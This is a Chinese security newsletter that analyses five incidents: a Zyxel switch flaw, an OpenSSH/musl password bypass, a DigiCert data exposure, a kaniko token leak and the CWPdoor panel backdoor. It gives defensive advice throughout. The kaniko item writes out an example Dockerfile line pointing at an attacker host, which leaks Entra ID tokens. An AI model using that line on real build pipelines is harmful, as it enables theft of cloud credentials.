Fnet 雲網安 261106：五宗網絡與雲端安全事件分析

🛡️NSOC（网络·安全·云一体化运营中心）

7×24 主动监控与专家值守，网络可用性 99.99%，安全事件 百分百全 闭环，云资源一站式管理

今日热点 Top 5

S1 打过补丁的，才是名单上的那一行

核心内容

Zyxel 于十一月三日发布公告，修复 GS1900 系列交换机固件中 CGI 程序的越界写缺陷 CVE-2026-107441：局域网侧未认证攻击者可用构造的 HTTP 请求执行系统命令。

受影响共十款机型在列（GS1900-8、8HP、10HP、16、24、24E、24EP、24HPv2、48、48HPv2），修复版本为对应 2.90 分支的 .3 固件，厂商于十月二十二日先行放出版本。

事件的来路比漏洞本身更值得看：安全公司 Binarly 在调查一套与后门 JITTERLY、rootkit SIXZUT 相关的基础设施时，发现一个暴露的归档包，内含针对 GS1900 的混淆 Python 利用程序；
这份程序会专门核对目标固件是否已修复六月的 CVE-2026-7273，也就是专挑已经打过补丁的设备下手，九月二十八日确认对十款已修复固件全部有效。

九月二十九日报厂商，十月十一日确认，另立新号。

此前另一家研究机构自八月十七日起追踪到针对该系列的利用活动，涉及四十八个国家、九百九十六台设备。

ZyxelCVE-2026-107441固件接入层在野利用

为什么重要

补丁成了版本指纹：固件号一旦更新，就等于向扫描方宣告「这台已修、可以换下一个招」，修复动作本身带出了资产清单。

攻击者按「已修复」筛选目标：不是没打补丁的机器危险，而是打了补丁的机器被专门排队处理，这条逻辑与常规补丁优先级完全相反。

接入层交换机是被忽略的一层：它不跑业务、不在资产系统里、没人给它装 Agent，却握着整个分支的流量与配置。

失陷后果是配置与凭据外流：交换机的管理口令、VLAN 划分、上联配置一次被读走，等于把内网结构图交出去。

九个月两轮：六月修过一次，十月再修一次，同一批设备在两次公告之间始终有一段时间是敞开的。

顾问金句

这一起要纠的不是「交换机又出漏洞了」，而是「我们把固件版本当成了一条内部信息，其实它是公开的」。

设备一旦能上公网，版本号就是名片；
名片的另一面，写着这台机器值不值得动手。

建议企业做五件事。

首先，把接入层设备纳入资产台账：型号、固件号、管理口是否朝外、归属哪个站点，先有一张表。

其次，管理面一律收进带外或专用管理网段，别让交换机的 Web 界面和业务端口待在同一个可达范围里。

再者，把「已打补丁」从结论改成过程：打完记录时间与版本，下一次公告时按版本号反查，而不是凭记忆。

而后，把固件更新排进变更窗口，与终端补丁同等优先级，别等出事才临时找包。

另外，对分支与门店这类无人值守站点，配一份上联流量与配置变更的基线，异常改动比漏洞公告更早出现。

S2 那个星号，本来是句号

核心内容

研究者 Ozgun Kultekin 于十一月五日公开一处被称作 sshole 的缺陷：OpenSSH 在 musl C 库环境下，允许攻击者用一条超长口令登录到本应禁止口令登录的账户。

根因要追到二〇一六年——当时为修 CVE-2016-6210 的用户名枚举问题，OpenSSH 改成「即使账户没有可用口令散列也执行一次散列计算」，以抹平响应时间差；
而 musl 的 crypt 函数在口令超过二百五十六字节时同样返回一个星号。

于是超长口令算出的星号，与 /etc/shadow 里那个用来表示「永远登不进」的星号比较相等，登录被判为成功。

触发需要五个条件同时成立：运行在 musl 系系统（Alpine、OpenWrt、Buildroot、Yocto 等）、关闭 PAM 认证（Alpine 的 openssh-server 包默认关闭）、开启口令认证、至少一个账户散列字段为星号、另有账户持有有效散列。

Alpine 官方 AWS 与 Azure 云镜像自带一个 alpine 账户、具备免密 doas 提权，一旦命中即可直达 root。

缺陷已在 10.6p2 版本修复，临时缓解是关闭口令认证；
glibc 系发行版与启用 PAM 的环境不受影响。

该缺陷由研究者用 AI 智能体跑了约一万七千六百次认证测试发现。

OpenSSHmuslAlpine认证绕过AI 辅助发现

为什么重要

星号的含义被反转：它是「此账户不可用口令」的记号，却成了那条通行的口令——语义在这条路径上失效了。

修一个老问题带出一个新问题：二〇一六年为抹平时间差的改动，在另一套 C 库上产生了等值比较，十年没人走到这条分支。

云镜像把风险抬到 root：Alpine 官方云镜像里的 alpine 账户带免密提权，命中即从「能登录」跳到「是管理员」。

命中条件容易同时成立：极简容器、边缘设备、嵌入式网关大量使用 musl，且常常为了省事关掉 PAM。

发现方式本身是信号：一万七千六百次配置组合的测试不是人能手工跑完的，AI 智能体正在把「没人测过的分支」逐个走一遍。

顾问金句

这一起要纠的不是「又一个 SSH 漏洞」，而是「我们把某个字符当成了结论」。

星号在配置里读作「不可用」，在代码里只是一个字符；
当两边都退化成字符串比较，语义就没人守了。

建议企业做五件事。

首先，把 musl 系系统单独列一类：容器基础镜像、边缘网关、嵌入式设备，与常规 Linux 服务器分开管。

其次，直接关掉口令认证，改用密钥或证书——这条措施对本次缺陷是终结性的，不依赖升级。

再者，核查 shadow 文件里带星号与感叹号的账户，逐个确认是否真的不需要登录，需要就明确禁用登录 Shell。

而后，翻一次 SSH 认证日志：凡是本该禁口令的账户出现了口令登录成功记录，按已失陷处置，不要先解释成误报。

另外，把 AI 辅助的配置组合测试纳入发布前检查——它能走到的分支，攻击者也会走到。

A3 先按账号问题结案，三个月后改判

核心内容

证书机构 DigiCert 于十一月五日通报一起数据泄露：二〇二五年二月的一次服务器迁移，把一个原本只能经 VPN 访问的内部业务系统误放到了公网，该系统自带面向其他应用的自助注册功能，外部用户可自行创建账号。

这些账号没有绑定任何应用，但一处授权缺陷让它们可以只读方式访问归档的客户资料。

DigiCert 在二〇二六年六月发现系统上存在未授权账号，当时的判断是「账号未分配应用，因此拿不到客户数据」；
此后又通过其托管安全研究项目收到外部报告，才修补访问控制。

直到十月十九日，进一步调查确认有未授权账号在六月二十七日至七月二日之间访问了客户资料。

官方在报告中承认：这起事件起初是作为账号创建问题、而非数据访问事件来处理的。

泄露字段包括姓名、企业邮箱、电话与企业地址；
部分记录另含驾照、护照、水电账单等身份证件。

公司称证书颁发服务、CertCentral 与 DigiCert ONE 未失陷，账号口令与已签发证书仍安全，该账号为只读、不能修改记录、不能批准证书验证、不能签发证书。

受影响人数尚未公布。

DigiCert数据泄露身份证件事件定性供应链

为什么重要

归错类就等于没处理：一旦定成「账号创建问题」，取证范围、通报义务与升级路径全部按轻的那一档走，三个月就这样过去了。

身份核验材料比证书更敏感：为申请证书提交的护照与驾照，正是冒充这家企业去别处开户、过审、签合同的素材。

迁移是长期暴露面：一次操作把内网系统推到公网，此后没有任何公告提醒你「这里多了一个入口」。

自助注册叠加授权缺陷：单个功能看都不严重，叠在一起就是「谁都能注册、注册完能看归档资料」。

未失陷的边界要说清：不能签发证书，不等于不能冒充客户——信任链断在申请环节，不在签发环节。

顾问金句

这一起要纠的不是「证书机构也会被黑」，而是「事件定性这一步，本身就是一个技术判断」。

定成账号问题还是数据访问，决定了后面三个月查不查、报不报、通知不通知；
而定性往往在证据不足的时候做出，然后被沿用到证据出现。

建议企业做五件事。

首先，把「事件分类」写成有回退机制的流程：初判必须标注证据等级，任何新证据出现即强制复评，而不是在原分类上打补丁。

其次，盘点历次迁移与割接：凡是原本只在内网可达的系统，迁移后逐个复测可达范围。

再者，凡是对外开放自助注册的系统，一律检查注册后的默认权限——默认能读什么，比默认不能读什么更要紧。

而后，把供应商为开户提交的身份证件纳入第三方数据清单，问清楚对方保存多久、谁能读、泄漏后怎么通知。

另外，为「供应商侧泄漏」准备一套冒充风险应对：客户名单、合同用印、大额付款的二次核实规则。

A4 主机名带这几个字，就算自家仓库

核心内容

镜像构建工具 kaniko 被披露一处严重缺陷 CVE-2026-105769，CVSS 3.1 计九点三，影响 1.25.20 之前的版本。

问题出在它内置的 Azure 容器注册表凭据助手：该组件用一条未加锚定的正则判断某个主机名是否属于 Azure 容器注册表，于是任何包含 .azurecr.io、.azurecr.cn、.azurecr.de、.azurecr.us 的主机名都会通过检查。

攻击者只需让 Dockerfile 引用一个仿冒地址，例如 FROM x.azurecr.io.attacker.com/img，构建过程就会把访问 Azure 资源管理器所用的 Entra ID 访问令牌发给攻击者控制的主机——不需要任何 RUN 指令，也不需要推送镜像。

受影响的前提是构建环境能取到 Azure 身份：环境里放着服务主体凭据、注入了联邦工作负载身份令牌，或经实例元数据服务取得托管标识。

用户即使不用 Azure 容器注册表、也没有配置该助手，依然会命中：kaniko 对任何没有凭据、且不属于谷歌或亚马逊仓库的地址，都会调用这个内置助手。

上游模块已停止维护、没有修复版本；
Go 漏洞库编号 GO-2026-6225。

kanikoCVE-2026-105769Entra ID构建链令牌泄露

为什么重要

判断方式是字符串包含，不是后缀锚定：只要名字里带那几个字就算可信，于是可信与不可信之间只隔一个点。

一个 FROM 就够：不必执行代码、不必推送镜像，读一行基础镜像地址就把云平台令牌交出去。

令牌的权限是资源管理器级别：拿到的不是某个仓库的读写权，而是订阅层面的操作能力。

不用 ACR 也会中：内置助手对所有未配置凭据的地址生效，很多团队甚至不知道自己启用了它。

上游不修：依赖的模块无维护、无修复版本，只能靠升级 kaniko 本体，历史构建配方还得逐个复核。

顾问金句

这一起要纠的不是「构建工具有个洞」，而是「我们用子串匹配来做信任判断，这件事在各处都在发生」。

判断「是不是自家的仓库」本该看完整域名，代码里看的是「名字里有没有这几个字」——差的不是一行正则，是「谁有权代表我」这条边界。

建议企业做五件事。

首先，构建环境不要给长期云身份：能不用服务主体就不用，改用短时 federated 凭据并限定范围。

其次，给基础镜像地址做白名单：允许的仓库域名逐个列明，未命中的构建直接失败而不是继续。

再者，审计一遍历史 Dockerfile 与构建参数，凡是出现多余点号、可疑子域的地址，一律按已泄露处置并轮换令牌。

而后，把「依赖模块已停止维护」纳入采购与准入：无维护的组件不进入构建主路径。

另外，出网侧收一道：构建节点只允许访问清单内的地址，DNS 与外联双限。

A5 后门自己要求出示签名

核心内容

奇安信 XLab 于十一月五日披露一个名为 CWPdoor 的 Linux 后门，通过被篡改的 cwpsrv 二进制分发——cwpsrv 是 Control Web Panel（CWP，原 CentOS Web Panel）管理界面的 Web 服务程序。

攻击者用一个伪装成更新器的脚本，替换 1.15.10 与 1.24.0 两个版本的 cwpsrv，并恢复文件与目录时间戳、删除临时文件、清空命令历史以掩盖替换动作。

后门平时完全静默，直到收到一条特制请求：命令放在加密的 HTTP 头 X-Ngx-Integrity-Data 中，另附时间戳头与 RSA 签名头，后门先校验时间戳是否落在五分钟窗口内，再验签、解密，然后交给辅助进程执行；
命令与输出以 AES-256-CBC 加密。

它还会干扰日志模块，使这条触发请求不出现在访问日志里。

研究者于六月二十九日发现该脚本，九月三十日有人在 VirusTotal 上传了含 Ebury 后门的归档包，其中被篡改的 cwpsrv 零检出。

过去一个月内，公网可见的 CWP 实例超过三十四万台。

自查特征是 ngx_http_integrity_helper 套接字、异常的 cwpsrv 辅助进程，以及二进制里的 X-Ngx-Integrity 字符串。

CWPdoor奇安信Linux 后门托管面板供应链

为什么重要

签名成了通行证：后门要求调用方出示有效 RSA 签名，验签通过才执行——「有签名」被当成了「可信」的同义词。

时间窗口把重放挡在外面：五分钟有效期加签名绑定，抓包也换不来第二次执行，取证窗口极窄。

日志被主动擦掉：触发请求不进访问日志，靠日志告警的防线在这里完全失效，只能靠文件完整性与进程行为。

面板是权限的集散地：一台主机上的站点、邮箱、DNS、数据库口令都在这套界面里，拿下它等于拿下整台机器与它托管的全部租户。

三十四万台暴露面：托管面板是中小站点的默认选择，装完就留在公网，版本与更新通道无人过问。

顾问金句

这一起要纠的不是「又出了一个 Linux 后门」，而是「我们把签名当成了信任的终点，其实它只是信任的起点」。

签名能证明「这条指令来自某个持有私钥的人」，证明不了「这个人有资格指挥这台机器」；
两件事混在一起，验签就变成了开门。

建议企业做五件事。

首先，把主机管理面板从公网撤下来：限定来源、走跳板或只在内网可达，别让它成为那个朝外的入口。

其次，对面板类程序做二进制完整性校验，把 cwpsrv 这类核心文件的哈希纳入日常比对，而不是只看版本号。

再者，盯进程与套接字：出现不明的辅助进程、异常 Unix 套接字，立即取证而不是重启。

而后，按已失陷处置：换回正常二进制、升级、轮换面板内全部站点与数据库凭据，并排查同主机其他驻留。

另外，把这类面板纳入资产清单的「影子管理面」一栏——它不写进文档，却握着几乎全部口令。

​

趋势分析

本周期五条热点分别是：一批接入层交换机在打过六月补丁之后被专门挑出来打——攻击载荷先核对目标是不是已修复版本，修复动作反而成了目标清单；
一套运行了十年的登录校验在特定 C 库上，把「永远登不进」的星号算成了正确口令，超长口令即可进 root；
一家证书机构二月迁移时把一个内部系统挪到了公网，六月发现异常账号却按「账号创建问题」结案，十月才改判为数据访问；
一个镜像构建工具用「主机名里是否含某个后缀」判断是不是自家仓库，构造一个前缀相同、后缀不同的域名就能把云平台访问令牌带走；
一个主机面板后门反过来要求调用方出示有效 RSA 签名与五分钟内的时间戳。

对象不同、手法各异，结构却指向同一件事——「标记」正在从判断依据变成攻击入口：版本号、星号、事件分类、主机名后缀、数字签名，五个我们用来下结论的东西，在同一周里被证明只是字符串。

给 CIO 的一句话是：别只问「有没有打补丁、有没有告警、有没有过测评」，改问「我们凭什么说它现在是安全的，那个依据是有人核对过的，还是系统默认的」。

是十一月五日「重来一次」的下一步：那次问出事之后还能不能恢复，这次问还没出事的时候，凭什么判断。